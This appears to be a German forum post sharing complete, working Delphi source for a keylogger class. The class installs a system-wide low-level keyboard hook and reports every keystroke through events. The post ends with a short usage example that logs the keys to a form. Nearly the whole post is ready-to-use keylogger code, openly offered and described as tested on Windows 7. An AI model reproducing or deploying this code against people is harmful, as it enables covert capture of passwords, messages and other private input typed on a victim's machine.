Ein Keylogger, genauer gesagt der Code der eine Klasse in Delphi erzeugt, die man anhand der public-funktionen sehr leicht benutzen kann. Keine Ahnung warum ich das noch im Projects Ordner liegen hab, ist von 2007, funktioniert (getestet) aber mit Windows 7.
Code:
unit KeyLogger;
interface
uses
Windows, Contnrs, SysUtils;
type
PKbdLlHookStruct = ^TKbdLlHookStruct;
TKbdLlHookStruct = record
vkCode : DWORD;
ScanCode : DWORD;
Flags : DWORD;
Time : DWORD;
dwExtraInfo: Cardinal;
end;
type
TKeyState = (ksUndefined, ksUp, ksDown);
type
TOnKeyPress = procedure(Sender: TObject; Key: Char) of object;
TOnKeyStateChange = procedure(Sender: TObject; vkCode: Word; State: TKeyState) of object;
type
TKeyLogger = class
private
FOnKeyPress: TOnKeyPress;
FOnKeyStateChange: TOnKeyStateChange;
protected
procedure Logging(pHookData: PKbdLlHookStruct; var DiscardInput: Boolean); virtual;
public
constructor Create; virtual;
destructor Destroy; override;
property OnKeyPress: TOnKeyPress read FOnKeyPress write FOnKeyPress;
property OnKeyStateChange: TOnKeyStateChange read FOnKeyStateChange write FOnKeyStateChange;
end;
function InstallHook: Boolean;
function UninstallHook: Boolean;
function HookInstalled: Boolean;
function DisplayVKey(const vkCode: Word; const State: TKeyState = ksUndefined): string;
function vkCodeToStr(const vkCode: Word): string;
implementation
const
WH_KEYBOARD_LL = 13;
var
HookHandle: hHook;
Loggers: TObjectList;
LastKeybState: TKeyboardState;
function IsDeadKey(const vkCode: Word): Boolean;
// Prüft auf diakritische Zeichen
begin
Result:= MapVirtualKey(vkCode, 2) and $80000000 <> 0;
end;
function GetKeyboardState: TKeyboardState;
// Ersetzt Windows.GetKeyboardState, da diese ausserhalb der eigenen Anwendung
// scheinbar nicht die korrekten Modifiers liefert
var
I: Integer;
begin
for I:= Low(Result) to High(Result) do Result[I]:= GetKeyState(I);
end;
function IsPrintableKey(const vkCode: Word): Boolean;
begin
Result:= vkCode >= $20;
end;
function vkCodeToChar(const vkCode: Word; out ch1, ch2: Char): Boolean;
var
Buffer: array[0..1] of Char;
begin
Buffer:= #0#0;
if not IsDeadKey(vkCode) then
Result:= ToAscii(vkCode, MapVirtualKey(vkCode, 0), GetKeyboardState, Buffer, 0) > 0
else
Result:= False;
ch1:= Buffer[0];
ch2:= Buffer[1];
end;
function LLKeyboardHookProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
pHookData: PKbdLlHookStruct;
DiscardInput: Boolean;
I: Integer;
begin
if (nCode = HC_ACTION) and (lParam <> 0) and Assigned(Loggers) then
begin
pHookData:= PKbdLlHookStruct(lParam);
DiscardInput:= False;
for I:= Pred(Loggers.Count) downto 0 do
begin
TKeyLogger(Loggers[I]).Logging(pHookData, DiscardInput);
if DiscardInput then
begin
Result:= -1;
Exit;
end;
end;
end;
Result:= CallNextHookEx(HookHandle, nCode, wParam, lParam);
end;
function InstallHook: Boolean;
begin
Result:= False;
if HookHandle = 0 then
begin
LastKeybState:= GetKeyboardState;
HookHandle:= SetWindowsHookEx(WH_KEYBOARD_LL, LLKeyboardHookProc, hInstance, 0);
Result:= HookInstalled;
end;
end;
function UninstallHook: Boolean;
begin
Result:= False;
if HookHandle <> 0 then
begin
if UnhookWindowsHookEx(HookHandle) then
begin
HookHandle:= 0;
Result:= not HookInstalled;
end;
end;
end;
function HookInstalled: Boolean;
begin
Result:= HookHandle <> 0;
end;
{ TKeyLogger }
constructor TKeyLogger.Create;
begin
inherited;
if Loggers = nil then
begin
Loggers:= TObjectList.Create;
InstallHook;
end;
Loggers.Add(Self);
end;
destructor TKeyLogger.Destroy;
begin
Loggers.Extract(Self);
if Loggers.Count = 0 then
begin
UninstallHook;
FreeAndNil(Loggers);
end;
inherited;
end;
procedure TKeyLogger.Logging(pHookData: PKbdLlHookStruct; var DiscardInput: Boolean);
const
LLKHF_EXTENDED = KF_EXTENDED shr 8;
LLKHF_INJECTED = $00000010;
LLKHF_ALTDOWN = KF_ALTDOWN shr 8;
LLKHF_UP = KF_UP shr 8;
KeyStates: array[Boolean] of TKeyState = (ksUp, ksDown);
var
ch1, ch2: Char;
KeyDown: Boolean;
StateChange: Boolean;
begin
with pHookData^ do
begin
KeyDown:= Flags and LLKHF_UP = 0;
StateChange:= KeyDown xor (GetKeyState(vkCode) < 0);
if IsPrintableKey(vkCode) and vkCodeToChar(vkCode, ch1, ch2) then
begin
if KeyDown and Assigned(FOnKeyPress) then
begin
if ch1 <> #0 then FOnKeyPress(Self, ch1);
if ch2 <> #0 then FOnKeyPress(Self, ch2);
end;
end else
if StateChange then
begin
if Assigned(FOnKeyStateChange) then FOnKeyStateChange(Self, vkCode, KeyStates[KeyDown]);
end;
end;
end;
function DisplayVKey(const vkCode: Word; const State: TKeyState = ksUndefined): string;
begin
case State of
ksUndefined: Result:= '?' + vkCodeToStr(vkCode);
ksUp : Result:= '-' + vkCodeToStr(vkCode);
ksDown : Result:= '+' + vkCodeToStr(vkCode);
end;
end;
function vkCodeToStr(const vkCode: Word): string;
begin
case vkCode of
VK_LBUTTON : Result:= 'LClick';
VK_RBUTTON : Result:= 'RClick';
VK_CANCEL : Result:= 'Cancel';
VK_MBUTTON : Result:= 'MClick';
VK_BACK : Result:= 'Back';
VK_TAB : Result:= 'Tab';
VK_CLEAR : Result:= 'Clear';
VK_RETURN : Result:= 'Return';
VK_SHIFT : Result:= 'Shift';
VK_CONTROL : Result:= 'Ctrl';
VK_MENU : Result:= 'Alt';
VK_PAUSE : Result:= 'Pause';
VK_CAPITAL : Result:= 'Caps Lock';
VK_ESCAPE : Result:= 'Esc';
VK_SPACE : Result:= 'Space';
VK_PRIOR : Result:= 'Pg Up';
VK_NEXT : Result:= 'Pg Down';
VK_END : Result:= 'End';
VK_HOME : Result:= 'Home';
VK_LEFT : Result:= 'Left';
VK_UP : Result:= 'Up';
VK_RIGHT : Result:= 'Right';
VK_DOWN : Result:= 'Down';
VK_SELECT : Result:= 'Select';
VK_PRINT : Result:= 'Print';
VK_EXECUTE : Result:= 'Execute';
VK_SNAPSHOT : Result:= 'Snapshot';
VK_INSERT : Result:= 'Insert';
VK_DELETE : Result:= 'Delete';
VK_HELP : Result:= 'Help';
Ord('0')..Ord('9') : Result:= Chr(vkCode);
Ord('A')..Ord('Z') : Result:= Chr(vkCode);
VK_LWIN : Result:= 'LWin';
VK_RWIN : Result:= 'RWin';
VK_APPS : Result:= 'Apps';
VK_NUMPAD0..VK_NUMPAD9 : Result:= 'NumPad' + Char(vkCode - VK_NUMPAD0 + Ord('0'));
VK_MULTIPLY : Result:= 'Multiply';
VK_ADD : Result:= 'Add';
VK_SEPARATOR : Result:= 'Separator';
VK_SUBTRACT : Result:= 'Subtract';
VK_DECIMAL : Result:= 'Decimal';
VK_DIVIDE : Result:= 'Divide';
VK_F1..VK_F24 : Result:= 'F' + IntToStr(vkCode - VK_F1 + 1);
VK_NUMLOCK : Result:= 'NumLock';
VK_SCROLL : Result:= 'Scroll';
VK_LSHIFT : Result:= 'LShift';
VK_RSHIFT : Result:= 'RShift';
VK_LCONTROL : Result:= 'LCtrl';
VK_RCONTROL : Result:= 'RCtrl';
VK_LMENU : Result:= 'LAlt';
VK_RMENU : Result:= 'RAlt';
VK_PROCESSKEY : Result:= 'ProcessKey';
VK_ATTN : Result:= 'Attn';
VK_CRSEL : Result:= 'CrSel';
VK_EXSEL : Result:= 'ExSel';
VK_EREOF : Result:= 'ErEof';
VK_PLAY : Result:= 'Play';
VK_ZOOM : Result:= 'Zoom';
VK_NONAME : Result:= 'NoName';
VK_PA1 : Result:= 'Pa1';
VK_OEM_CLEAR : Result:= 'Oem Clear';
else
Result:= IntToStr(vkCode);
end;
end;
initialization
{ do nothing }
finalization
if HookInstalled then UninstallHook;
end.
Benutzt wird die Klasse dann so:
Code:
procedure TForm1.LogKeyStateChange(Sender: TObject; vkCode: Word; State: TKeyState);
begin
mmo1.Lines.add(DisplayVKey(vkCode, State));
end;
procedure TForm1.LogKey(Sender: TObject; vkCode: Char);
begin
mmo1.Lines.add(vkCode);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
FKeyLogger:= TKeyLogger.Create;
FKeyLogger.OnKeyStateChange := LogKeyStateChange;
FKeyLogger.OnKeyPress := LogKey;
end;
